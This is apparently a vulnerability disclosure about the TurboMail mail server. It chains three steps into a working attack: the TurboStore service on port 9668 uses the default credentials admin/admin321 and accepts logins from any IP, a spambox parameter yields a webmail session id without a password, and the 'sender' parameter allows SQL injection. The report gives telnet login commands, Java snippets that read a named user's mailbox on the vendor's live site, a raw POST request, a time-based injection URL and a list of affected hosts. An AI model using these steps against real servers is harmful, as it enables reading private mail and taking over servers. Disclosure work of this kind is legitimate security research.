### 简要描述:
三连击,官网中招。
### 详细说明:
TurboMail在安装完毕之后会有多个应用打开端口监听数据,其中有一个叫做TurboStore是用于存储邮件信息的的核心组件。
[<img src="https://images.seebug.org/upload/201602/16232217ffc3e353b1ecc1d5ebef9844852d30a5.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/16232217ffc3e353b1ecc1d5ebef9844852d30a5.png)
TurboStore打开的端口是9668
[<img src="https://images.seebug.org/upload/201602/1623252876f0c9f04e2913a7927fd1d7d1048e74.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/1623252876f0c9f04e2913a7927fd1d7d1048e74.png)
在/conf/server.xml中的配置如下:
```
<TSSERVER>
<TSSERVER_ENABLE>TRUE</TSSERVER_ENABLE>
<TSSERVER_LISTEN_SIZE>15</TSSERVER_LISTEN_SIZE>
<TSSERVER_SESSION_TIMEOUT>30</TSSERVER_SESSION_TIMEOUT>
<TSSERVER_MAX_THREADS>30</TSSERVER_MAX_THREADS>
<TSSERVER_TIMEOUT>60</TSSERVER_TIMEOUT>
<TSSERVER_USERNAME>admin</TSSERVER_USERNAME>
<TSSERVER_PASSWORD>YWRtaW4zMjE=3D</TSSERVER_PASSWORD>
<TSSERVER_GTS_PATH></TSSERVER_GTS_PATH>
<TSSERVER_ALLOW_IP></TSSERVER_ALLOW_IP>
<TSSERVER_LISTENERS>
<LISTENER>
<IP>all</IP>
<PORT>9668</PORT>
<SSL>FALSE</SSL>
</LISTENER>
</TSSERVER_LISTENERS>
</TSSERVER>
```
从上面可以看到TurboStore需要登录,而用户名密码默认分别为admin/admin321,使用telnet登录如下:
```
telnet **.**.**.** 9668
login admin admin321
quit
```
[<img src="https://images.seebug.org/upload/201602/1623370888358402c4c4350ba6fcc8dcfd490b9d.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/1623370888358402c4c4350ba6fcc8dcfd490b9d.png)
经过以上可以看出TurboStore是未限定IP登录的,测试官方同样能够成功登录:
```
telnet **.**.**.** 9668
login admin admin321
quit
```
[<img src="https://images.seebug.org/upload/201602/1623453569132c1be8b7c5a23bcd4522096fa1f9.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/1623453569132c1be8b7c5a23bcd4522096fa1f9.png)
TurboStore的通信数据结构,类似如下:
```
json cmd :{"cmd":"getfoldersinfo","param":{"folderlist":["del","draft","exception","new","send","spam","virus"],"useraccount":"test@root"},"login_password":"admin321","login_user":"admin"}
```
系统中有完整的通信实现代码如下:
```
/* */ public static String getnextmsgid(String username, String domain, String mbtype, String msgid, boolean bUp, int iSortType, int iNew)
/* */ throws Exception
/* */ {
/* 303 */ if (mbtype != null) {
/* 304 */ if (mbtype.equals("virusbox")) {
/* 305 */ username = "@@virusbox";
/* 306 */ domain = null;
/* 307 */ mbtype = "new";
/* 308 */ } else if (mbtype.equals("spambox")) {
/* 309 */ username = "@@spambox";
/* 310 */ domain = null;
/* 311 */ mbtype = "new";
/* */ }
/* */ }
/* */
/* 315 */ Session ses = m_SessionManager.getSession();
/* */
/* 317 */ if (ses == null) {
/* 318 */ if (m_log != null)
/* 319 */ m_log.log("0", 1, 30721,
/* 320 */ "fail to get TurboStore JSONSession(" +
/* 321 */ m_SessionManager.getDesc() + ")");
/* 322 */ return null;
/* */ }
/* */
/* 325 */ IntObj ioRet = new IntObj();
/* */
/* 327 */ JSONObject jsonRet = null;
/* */ try
/* */ {
/* 330 */ JSONObject jsonParam = new JSONObject();
/* */
/* 332 */ if (domain == null)
/* 333 */ jsonParam.put("useraccount", username);
/* */ else
/* 335 */ jsonParam.put("useraccount", username + "@" + domain);
/* 336 */ if (mbtype != null)
/* 337 */ jsonParam.put("mbtype", mbtype);
/* 338 */ if (msgid != null) {
/* 339 */ jsonParam.put("msgid", msgid);
/* */ }
/* 341 */ jsonParam.put("up", bUp ? 1 : 0);
/* 342 */ jsonParam.put("sorttype", iSortType);
/* */
/* 344 */ jsonParam.put("new", iNew);
/* */
/* 346 */ jsonRet = CmdJson.execute(ses, "getnextmsgid", jsonParam, ioRet);
/* */ } catch (Exception e) {
/* 348 */ e.printStackTrace();
/* */ }
/* */
/* 351 */ m_SessionManager.returnSession(ses);
/* */
/* 353 */ if (jsonRet == null) {
/* 354 */ return null;
/* */ }
/* 356 */ int iRetCode = jsonRet.getInt("retcode");
/* 357 */ if (iRetCode != 0) {
/* 358 */ return null;
/* */ }
/* 360 */ String strNextMsgid = null;
/* */
/* 362 */ if (jsonRet.has("msgid")) {
/* 363 */ strNextMsgid = jsonRet.getString("msgid");
/* */ }
/* 365 */ return strNextMsgid;
/* */ }
```
其中的jsonRet = CmdJson.execute(ses, "getnextmsgid", jsonParam, ioRet);中的getnextmsgid就是cmd,系统中大概有这么几个cmd:
```
getmsg
getnextmsgid
getmsglist
getmsgnum
addmsg
settag
delmsg
delfoldermsg
```
每个cmd对应不同的参数,下面以官网(http://**.**.**.**:8080/)为例获取其中的tech@**.**.**.**邮箱的收件信息,部分利用代码如下:
```
m_SessionManager = new SessionManager("**.**.**.**", 9668, 30, "admin", "admin321", 20, null);
jsonParam.put("useraccount","tech@**.**.**.**");
jsonParam.put("mbtype", "new");
jsonParam.put("items", 50);
jsonRet = CmdJson.execute(ses, action, jsonParam, ioRet);
String strRet = jsonRet.toString();
out.println(strRet);
```
把测试文件放到本地搭建的TurboMail服务器的根目录然后访问,得到前50个邮件:
[<img src="https://images.seebug.org/upload/201602/17000821e5dfbd5391f828bde66796ad02a7427b.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/17000821e5dfbd5391f828bde66796ad02a7427b.png)
通过addmsg以及delmsg还可以添加删除邮件,危害较大这里就不演示了。
下面来来分析如何获取webmail权限,TurboMail是基于sessionid来进行权限验证,登录后分配一个sessionid作为验证凭证,类似于这样:
```
http://**.**.**.**:8080/tmw/7/next/loading.jsp?sessionid=2cedc64He_0
http://**.**.**.**:8080/tmw/7/mailmain?flag=-1&intertype=ajax&type=getmaillist&sessionid=2cedc64He_0&mbtype=spam&onlynew=false&start=0&limit=50&where=false
```
因此主要目标是获取这个sessionid,来看下面的代码,在入口程序MailMain.java中引用了ShowMsg.showAbstract(request, response):
```
else if (type.equals("showmsgabstract")) {
ShowMsg.showAbstract(request, response);
```
ShowMsg.showAbstract(request, response)主要代码如下:
```
/* */ public static void showAbstract(HttpServletRequest request, HttpServletResponse response)
/* */ throws ServletException, IOException
/* */ {
/* 669 */ showAbstract(false, request, response);
/* */ }
/* */
/* */ public static void showAbstract(boolean bAjax, HttpServletRequest request, HttpServletResponse response)
/* */ throws ServletException, IOException
/* */ {
/* 685 */ String receiveaccount = request.getParameter("receiveaccount");
……
/* */
/* 697 */ MailSession ms = null;
/* */
/* 699 */ if (ServerConf.b_SYS_GATEWAY_MODE) {
/* 700 */ ms = MailSession.getGwuserSession(receiveaccount);
/* */ }
/* 702 */ else if (receiveaccount.equals("@@spambox"))
/* 703 */ ms = MailSession.getGwuserSession("spambox", "root");
/* */ else {
/* 705 */ ms = MailSession.makeSimpleSession(receiveaccount);
/* */ }
/* */
/* 709 */ if (ms == null) {
/* 710 */ if (bAjax)
/* 711 */ AjaxUtil.ajaxFail(request, response, "info.rcpterror", null);
/* */ else
/* 713 */ XInfo.gotoInfo(null, request, response, "info.rcpterror", null,
/* 714 */ 0);
/* 715 */ return;
/* */ }
/* */
……
/* */
/* 757 */ String mbid = request.getParameter("mbid");
/* 758 */ if (mbid == null) {
/* 759 */ mbid = "0";
/* */ }
/* */
/* 762 */ String strNext = request.getParameter("next");
/* */
/* 764 */ if (strNext == null) {
/* 765 */ strNext = "";
/* */ }
/* */
/* 768 */ String mbtype = request.getParameter("mbtype");
/* 769 */ if (mbtype == null) {
/* 770 */ mbtype = "new";
/* */ }
/* 772 */ if (!Util.dirSafe(mbtype)) {
/* 773 */ if (bAjax)
/* 774 */ AjaxUtil.ajaxFail(request, response, "info.securitycheck", null);
/* */ else
/* 776 */ XInfo.gotoInfo(ms, request, response, "info.securitycheck",
/* 777 */ null, 0);
/* 778 */ return;
/* */ }
/* */
……
/* 792 */ String strMsgid = request.getParameter("msgid");
/* 793 */ if (strMsgid == null) {
/* 794 */ strMsgid = "0";
/* */ }
/* 796 */ strMsgid = Util.formatRequest(strMsgid, MailMain.s_os,
/* 797 */ SysConts.New_InCharSet);
/* */
/* 799 */ if (!Util.dirSafe(strMsgid)) {
/* 800 */ if (bAjax)
/* 801 */ AjaxUtil.ajaxFail(request, response, "info.securitycheck", null);
/* */ else
/* 803 */ XInfo.gotoInfo(ms, request, response, "info.securitycheck",
/* 804 */ null, 0);
/* 805 */ return;
/* */ }
/* */
/
/* 816 */ String useraccount = request.getParameter("useraccount");
/* */
/* 818 */ String spamUserName = Util.getUsername(ServerConf.AS_SPAMBOX);
/* 819 */ String spamDomain = Util.getDomain(ServerConf.AS_SPAMBOX);
/* 820 */ if ((spamUserName.equals("")) || (spamDomain.equals("")))
/* */ {
/* 822 */ if (bAjax)
/* 823 */ AjaxUtil.ajaxFail(request, response, "info.isemailexist", null);
/* */ else {
/* 825 */ XInfo.gotoInfo(ms, request, response, "info.isemailexist",
/* 826 */ null, 0);
/* */ }
/* 828 */ ms.logoutAndRemove();
/* 829 */ return;
/* */ }
/* */
/* 832 */ UserInfo abstractUserInfo = UserInfo.getSimpleUserInfo(spamUserName,
/* 833 */ spamDomain);
/* */
/* 851 */ if (!bAjax) {
/* */
/* 869 */ String strMailFolderPath = null;
/* 880 */ strMailFolderPath =
/* 881 */ UserAccount.getSuitUserPath(spamUserName,
/* 881 */ spamDomain) +
/* 882 */ SysConts.FILE_SEPARATOR +
/* 883 */ "spambox" +
/* 884 */ SysConts.FILE_SEPARATOR + strMsgid;
/* */
/* 886 */ File flMsg = new File(strMailFolderPath);
/* */
/* 888 */ if ((!flMsg.exists()) &&
/* 889 */ (!TBoxFile.isTboxFile(strMailFolderPath))) {
/* 890 */ if (bAjax)
/* 891 */ AjaxUtil.ajaxFail(request, response, "info.isemailexist", null);
/* */ else
/* 893 */ XInfo.gotoInfo(ms, request, response, "info.isemailexist",
/* 894 */ null, 0);
/* 895 */ ms.logoutAndRemove();
/* 896 */ return;
/* */ }
/* */
……
/* */
/* 948 */ RequestDispatcher rd = null;
/* */
……
/* */
/* 981 */ String url = null;
/* */
/* 990 */ url = "enterprise/msgabstractheader.jsp?sessionid=" +
/* 991 */ ms.session_id + "&username=" + ms.userinfo.getUid() +
/* 992 */ "&domain=" + ms.userinfo.domain + "&msgid=" +
/* 993 */ strMsgid + "&receiveaccount=" + receiveaccount;
/* */
/* 996 */ rd = request.getRequestDispatcher(url);
/* */ }
/* */
/* 999 */ String tagsymbol = request.getParameter("tagsymbol");
/* 1000 */ request.setAttribute("tagsymbol", tagsymbol);
/* 1001 */ if (!bAjax)
/* 1002 */ rd.forward(request, response);
/* */ }
```
程序首先通过request.getParameter("receiveaccount")获取到receiveaccount的值,如果这个值为@@spambox则调用ms = MailSession.getGwuserSession("spambox", "root");产生一个mailsession ms。注意这里没有验证密码就直接得到ms!
然后获取String strMsgid = request.getParameter("msgid"),这个strMsgid经过过滤进入到以下流程中:
```
strMailFolderPath =
/* 881 */ UserAccount.getSuitUserPath(spamUserName,
/* 881 */ spamDomain) +
/* 882 */ SysConts.FILE_SEPARATOR +
/* 883 */ "spambox" +
/* 884 */ SysConts.FILE_SEPARATOR + strMsgid;
/* */
/* 886 */ File flMsg = new File(strMailFolderPath);
/* */
/* 888 */ if ((!flMsg.exists()) &&
/* 889 */ (!TBoxFile.isTboxFile(strMailFolderPath))) {
/* 890 */ if (bAjax)
/* 891 */ AjaxUtil.ajaxFail(request, response, "info.isemailexist", null);
/* */ else
/* 893 */ XInfo.gotoInfo(ms, request, response, "info.isemailexist",
/* 894 */ null, 0);
/* 895 */ ms.logoutAndRemove();
/* 896 */ return;
/* */ }
```
由strMsgid组合而成的路径strMailFolderPath,如果strMailFolderPath这个文件不存在的话则程序退出。来看看这个strMailFolderPath文件是啥样子的:
[<img src="https://images.seebug.org/upload/201602/1700440903f148879f104f0148d878ced47b1e0a.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/1700440903f148879f104f0148d878ced47b1e0a.png)
152E9491193.tbdata是一个时间戳数字经过16进制转换而成的文件名,这个文件名如果要枚举的话次数在百亿以上显然是不现实的,看下面的代码:
```
/* 843 */ strMsgid = MessageAdmin.getNextMsgId(ms,
/* 844 */ abstractUserInfo.domain, abstractUserInfo.getUid(),
/* 845 */ mbtype, strMsgid, 0, false, bOnlyNew);
```
MessageAdmin.getNextMsgId()是从TurboStore中查询数据,那么strMsgid很有可能是存储在TurboStore中,于是查询@@spambox用户得到strMsgid:
```
m_SessionManager = new SessionManager("**.**.**.**", 9668, 30, "admin", "admin321", 20, null);
jsonParam.put("useraccount","@@spambox");
jsonParam.put("mbtype", "spam");
jsonParam.put("items", 50);
jsonRet = CmdJson.execute(ses, action, jsonParam, ioRet);
String strRet = jsonRet.toString();
out.println(strRet);
```
[<img src="https://images.seebug.org/upload/201602/1701071183beec3211636960510e9b35bab39fde.png" alt="7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/1701071183beec3211636960510e9b35bab39fde.png)
```
152E9491193_tb_5059_10313
152E9491193_tb_3344_5041
```
在这里将msgid赋值为152E9491193_tb_3344_5041则顺利通过,到最后ms.session_id(也就是Sessionid)作为参数使用rd.forward重定向到msgabstractheader.jsp,如下:
```
/* 990 */ url = "enterprise/msgabstractheader.jsp?sessionid=" +
/* 991 */ ms.session_id + "&username=" + ms.userinfo.getUid() +
/* 992 */ "&domain=" + ms.userinfo.domain + "&msgid=" +
/* 993 */ strMsgid + "&receiveaccount=" + receiveaccount;
/* */
/* 996 */ rd = request.getRequestDispatcher(url);
/* */ }
/* */
/* 999 */ String tagsymbol = request.getParameter("tagsymbol");
/* 1000 */ request.setAttribute("tagsymbol", tagsymbol);
/* 1001 */ if (!bAjax)
/* 1002 */ rd.forward(request, response);
```
而msgabstractheader.jsp也把sessionid做为参数传走:
```
String sessionid= ms.session_id;
String url = "sessionid=" + sessionid + "&mbtype=" + mbtype + "&msgid=" + strMsgid +
"&useraccount=" + useraccount + "&receiveaccount=" + receiveaccount;
<td height="24" colspan="4" align="left" bgcolor="#FFFFFF"><iframe
src="mailmain?type=msgabstractcontent&<%=url%>" id="test" width="100%" height="450"
scrolling="auto" frameborder="0"> </iframe>
```
整个获取sessionid的POST数据包如下:
```
POST /mailmain HTTP/1.1
Host: **.**.**.**:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://gw2.**.**.**.**:8080/mailmain?type=inputpwd&mbid=0&msgid=1455474084001_31861_tm&lang=SIMPLIFIED_CHINESE&mbtype=spam&useraccount=qqqq&receiveaccount=@@spambox
Cookie: tm_last_login_uid=postmaster; tm_last_login_domain=root; safelogin=true; JSESSIONID=E576B03397408FD15BC19BEDD580EDF9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
type=showmsgabstract&receiveaccount=%40%40spambox&useraccount=%40%40spambox&msgid=152E9491193_tb_18_1611&lang=SIMPLIFIED_CHINESE
```
然后在返回中找到sessionid:
[<img src="https://images.seebug.org/upload/201602/170124124c881a6d4be12aef41f500e4a183eddf.png" alt="8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/170124124c881a6d4be12aef41f500e4a183eddf.png)
这个Sessionid可用于登录验证(有时效性),能够访问webmail的大多数应用:
```
http://**.**.**.**:8080/mailmain?intertype=ajax&sessionid=3481b15H27_0.g&type=getListAddressList&addressid=test
http://**.**.**.**:8080/mailmain?intertype=ajax&sessionid=54878a0H379_0.g&type=getListAddressList&addressid=test
http://**.**.**.**:8080/mailmain?type=getUserList&department=&domain=root&intertype=ajax&key=&searchfield=&searchvalue=&sessionid=54878a0H379_0.g
```
[<img src="https://images.seebug.org/upload/201602/1701315987ce4f5a851848e5e31bfc48ccb0acbd.png" alt="9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/1701315987ce4f5a851848e5e31bfc48ccb0acbd.png)
获取到权限之后就可以进行SQL注射了在入口程序AjaxMain.java中调用方法:
```
/* 810 */ else if ("sumsendfailmsgstat".equals(type))
/* 811 */ StatisticAdmin.sendFailMailStatistics(request, response);
```
StatisticAdmin.sendFailMailStatistics()定义如下:
```
public static void sendFailMailStatistics(HttpServletRequest request, HttpServletResponse response)
/* */ throws ServletException, IOException
/* */ {
/* 451 */ MailSession ms = WebUtil.getms(request, response);
/* 452 */ if (ms == null) {
/* 453 */ AjaxUtil.ajaxFail(request, response, "info.nologin", null);
/* 454 */ return;
/* */ }
/* */
/* 457 */ UserInfo userinfo = ms.userinfo;
/* 458 */ if (userinfo == null) {
/* 459 */ AjaxUtil.ajaxFail(request, response, "info.loginfail", null);
/* 460 */ return;
/* */ }
String sender = WebUtil.getParameter(request, true, "sender");
if (bFuzzy) {
/* 503 */ if (!StringUtils.isEmpty(sender))
/* 504 */ querySql = querySql + " and f_from like '%" + sender + "%' ";
/* 505 */ if (!StringUtils.isEmpty(receiver))
/* 506 */ querySql = querySql + "and f_to like '%" + receiver + "%'";
/* */ } else {
/* 508 */ if (!StringUtils.isEmpty(sender))
/* 509 */ querySql = querySql + " and f_from = '" + sender + "' ";
/* 510 */ if (!StringUtils.isEmpty(receiver))
/* 511 */ querySql = querySql + "and f_to = '" + receiver + "'";
/* */ }
/* 513 */ String countSql = "select count(1) from (" + tableName + ") t where " + querySql;
/* 530 */ conn = StatisticsDB.getConnection();
/* 531 */ ps = conn.prepareStatement(countSql);
/* 532 */ rs = ps.executeQuery();
```
程序获取sender的值直接拼接进入SQL查询导致了SQL注射发生:
```
http://**.**.**.**:8080/mailmain?type=sumsendfailmsgstat&intertype=ajax&sessionid=585d6f6H37a_0.g&sender=-1%27union%20all%20select%20sleep%285%29%23&startDate=20160216&endDate=20160216
```
通过SQL注射能够GETSHELL,读取文件等操作之前写过了这里就不再赘述。
列一些受影响的域名/ip:
```
**.**.**.**
gw1.**.**.**.**
gw2.**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
```
### 漏洞证明:
同上
暂无评论